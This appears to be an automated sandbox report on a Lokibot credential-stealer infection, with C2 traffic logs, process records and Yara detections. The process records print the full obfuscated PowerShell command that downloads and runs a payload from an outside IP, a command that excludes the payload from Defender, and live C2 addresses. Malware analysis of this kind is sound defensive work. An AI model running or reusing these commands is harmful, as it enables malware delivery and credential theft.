Nov 20, 2024 10:58:56.451621056 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:56.456662893 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:57.203265905 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:57 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	58846	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:57.363667965 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:57.368693113 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:58.145519972 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:58 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	58847	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:58.294749975 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:58.299877882 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:59.067029953 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:58 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	58848	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:59.217894077 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:59.223139048 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:59:00.142062902 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:59:00 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	58849	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:59:00.307096004 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:59:00.315009117 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:59:01.195844889 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:59:01 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Target ID:	0
Start time:	04:56:58
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\goodtoseeuthatgreatthingswithentirethingsgreatfor.hta"
Imagebase:	0xb10000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:56:58
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Imagebase:	0xd60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:56:58
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:56:59
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt
Imagebase:	0xd60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:57:02
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline"
Imagebase:	0xb00000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:57:03
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF21.tmp" "c:\Users\user\AppData\Local\Temp\sg2bcrbf\CSC9DC7DEFBB3DB4CF88431EEB79FD9B6EB.TMP"
Imagebase:	0x860000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:57:08
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\wininit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wininit.exe"
Imagebase:	0x220000
File size:	600'576 bytes
MD5 hash:	66B03D1AFF27D81E62B53FC108806211
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:57:08
Start date:	20/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:57:10
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"
Imagebase:	0xd60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:57:10
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\wininit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wininit.exe"
Imagebase:	0x4d0000
File size:	600'576 bytes
MD5 hash:	66B03D1AFF27D81E62B53FC108806211
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000009.00000002.2881596868.0000000000948000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:57:10
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:57:12
Start date:	20/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:57:21
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04BB4B90 Relevance: 2.0, APIs: 1, Instructions: 495COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1812293650.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a591dbafdef4f917f1bfd7465e7050937a87b4db892cf733a89d1f64a4aefba2
Instruction ID: ba8ea40d04eecfd47cce6a81ef89547051ed791925ba4d4575149f7f9e0a2b79
Opcode Fuzzy Hash: a591dbafdef4f917f1bfd7465e7050937a87b4db892cf733a89d1f64a4aefba2
Instruction Fuzzy Hash: 20222C74A00219AFCB15CF98D984AEEBBB2FF88310F248559E844AB365D771ED41CF90

Function 07A51178 Relevance: 2.9, Strings: 2, Instructions: 442COMMON

Download Yara Rule

Strings

tPiq, xrefs: 07A511B0
tPiq, xrefs: 07A511BA

Memory Dump Source

Source File: 00000001.00000002.1828133255.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: tPiq$tPiq
API String ID: 0-4021134104
Opcode ID: 547771a89fd864f5c3beb9d0671d81854ad979b27ba2b0a2a4df3a8a1d1b7284
Instruction ID: d23a9a3e19f38324400a9118e3cb5a218f8bd8e7c81921437c9ebd3d169f018e
Opcode Fuzzy Hash: 547771a89fd864f5c3beb9d0671d81854ad979b27ba2b0a2a4df3a8a1d1b7284
Instruction Fuzzy Hash: C8F1D2B4B40209AFCB159F58D840B7EBBA2FBC9310F248569ED169B790DB31DC46CB91

Function 07A504F8 Relevance: 2.7, Strings: 2, Instructions: 161COMMON

Download Yara Rule

Strings

tPiq, xrefs: 07A5057E
tPiq, xrefs: 07A5058A

Memory Dump Source

Source File: 00000001.00000002.1828133255.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: tPiq$tPiq
API String ID: 0-4021134104
Opcode ID: 78da12577682e0544d95613f08f9d4b45848e1a29ea872250e8f14c64be58835
Instruction ID: a98e6eb6f428ded966fa4a1a5d52966bf8fee2351b9896a59b02d7d582b3f4fd
Opcode Fuzzy Hash: 78da12577682e0544d95613f08f9d4b45848e1a29ea872250e8f14c64be58835
Instruction Fuzzy Hash: 185136B0B00315AFCB209B798810B6BBBA6EFCA710F15C46AE955DF381DA71DC45C7A1

Function 04BB1A30 Relevance: 1.6, APIs: 1, Instructions: 68filenetworkCOMMON

Download Yara Rule

APIs

URLDownloadToFileW.URLMON(?,00000000,00000000,?,00000001), ref: 04BB51A9

Memory Dump Source

Source File: 00000001.00000002.1812293650.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4bb0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 1007af5ba103c9cc6003c662436d442b33f394b62db1bfe8fa1e6882dff0f180
Instruction ID: ee52af1ac9134f56bb3a1b60dc7266b59dd21e9411618ed53b2895acea40f3e6
Opcode Fuzzy Hash: 1007af5ba103c9cc6003c662436d442b33f394b62db1bfe8fa1e6882dff0f180
Instruction Fuzzy Hash: 822104B1D01659EFCB10CF99D884AEEFBB4FB48314F10816AE958A7310D374A954CBA5

Function 07A5115C Relevance: 1.5, Strings: 1, Instructions: 242COMMON

Download Yara Rule

Strings

tPiq, xrefs: 07A511B0

Memory Dump Source

Source File: 00000001.00000002.1828133255.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: tPiq
API String ID: 0-983062307
Opcode ID: 2340d326f5a7d988f65176deddc8f46de1a848a5b8b97a86c769a6f0d309de7c
Instruction ID: e2d97bd4e5689f9e07b6347919d6bfd8ec181c1bbe96c841b8ac050467d2a53c
Opcode Fuzzy Hash: 2340d326f5a7d988f65176deddc8f46de1a848a5b8b97a86c769a6f0d309de7c
Instruction Fuzzy Hash: CC9182F4B00209DBCB24CF58D540B7ABBB2BB85710F158569ED269B790DB31EC86CB91

Function 07A505E9 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1828133255.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f98fe8160aa769ef6c032514f00f87628e39cffc6ddcfe533034b00645ddd5e3
Instruction ID: bc498153a8bb02f48ddc38dbb99f352767af3fd7ad0faba5574ada949e1c4582
Opcode Fuzzy Hash: f98fe8160aa769ef6c032514f00f87628e39cffc6ddcfe533034b00645ddd5e3
Instruction Fuzzy Hash: 8C01F5B47003156BD720577A4801B6B7A96AFE5720F64C029F984DB7C0EAB69C448391

Function 033ED01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1810434957.00000000033ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 033ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f75660fc95cc5922bdc2e8ddee54856c069e6c73e39d68847fbb3960193af50
Instruction ID: e9a68e5e0f7cd9d26306e45372d161deab3c7d4b117ae7ce5297dcc17d7df834
Opcode Fuzzy Hash: 1f75660fc95cc5922bdc2e8ddee54856c069e6c73e39d68847fbb3960193af50
Instruction Fuzzy Hash: C601F2710083149EE710CA29CDC4B67FF9CEF41326F0CC56AEC484A686C27D9C41C6B1

Function 033ED006 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1810434957.00000000033ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 033ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_33ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59fb6b4a0b2f661140695a83c6f8bd855a4fe4edfc05ec9ff935ff56ae295cbe
Instruction ID: 09eca085fbcf983a9d4898b29e50a2a02a573175d24fe356cb195914eb8a3734
Opcode Fuzzy Hash: 59fb6b4a0b2f661140695a83c6f8bd855a4fe4edfc05ec9ff935ff56ae295cbe
Instruction Fuzzy Hash: 1C01407100E3C09ED7128B25CC94B52BFB4EF47225F1D81CBD8888F1A3C2699844C772

Non-executed Functions

Function 07A50B70 Relevance: 6.4, Strings: 5, Instructions: 165COMMON

Download Yara Rule

Strings

X=\l, xrefs: 07A50D24
4'iq, xrefs: 07A50C33
$iq, xrefs: 07A50D5A
4'iq, xrefs: 07A50C27
$iq, xrefs: 07A50D4E

Memory Dump Source

Source File: 00000001.00000002.1828133255.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: 4'iq$4'iq$X=\l$$iq$$iq
API String ID: 0-3684127496
Opcode ID: 0c4734d65fc8825ca25bb850f17e877e3442169ff2f4a9293ad0c3294a27d094
Instruction ID: 13d07b01099c0cd86c2fd5db1d6ba36043c02ae0215eda85f2a3b8888871a4af
Opcode Fuzzy Hash: 0c4734d65fc8825ca25bb850f17e877e3442169ff2f4a9293ad0c3294a27d094
Instruction Fuzzy Hash: 625117B270530A8FCB259B78D4103ABBBF2AFC2310F15846AC8A5CB395DB35D885C791

Function 07A50080 Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

$iq, xrefs: 07A500D6
4'iq, xrefs: 07A500EB
4'iq, xrefs: 07A500F7
$iq, xrefs: 07A500CA

Memory Dump Source

Source File: 00000001.00000002.1828133255.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: 4'iq$4'iq$$iq$$iq
API String ID: 0-425347740
Opcode ID: 482f98fd833786142558f1c9e2977dbd8915329abd0e3dc7e829df8b4e33a961
Instruction ID: 8ce52ea9d29a3fde9161f605be3e99564ea00c18f643105b0bb6003d0c62222c
Opcode Fuzzy Hash: 482f98fd833786142558f1c9e2977dbd8915329abd0e3dc7e829df8b4e33a961
Instruction Fuzzy Hash: 7701BC612493964FC7270378282016B6F766FD361032B41EBC890DF3E3DA694D4A83A6

Analysis Process: powershell.exePID: 7068, Parent PID: 6668COMMON

Executed Functions

Function 07D61C10 Relevance: 5.6, Strings: 4, Instructions: 594COMMON

Download Yara Rule

Strings

4'iq, xrefs: 07D620BA
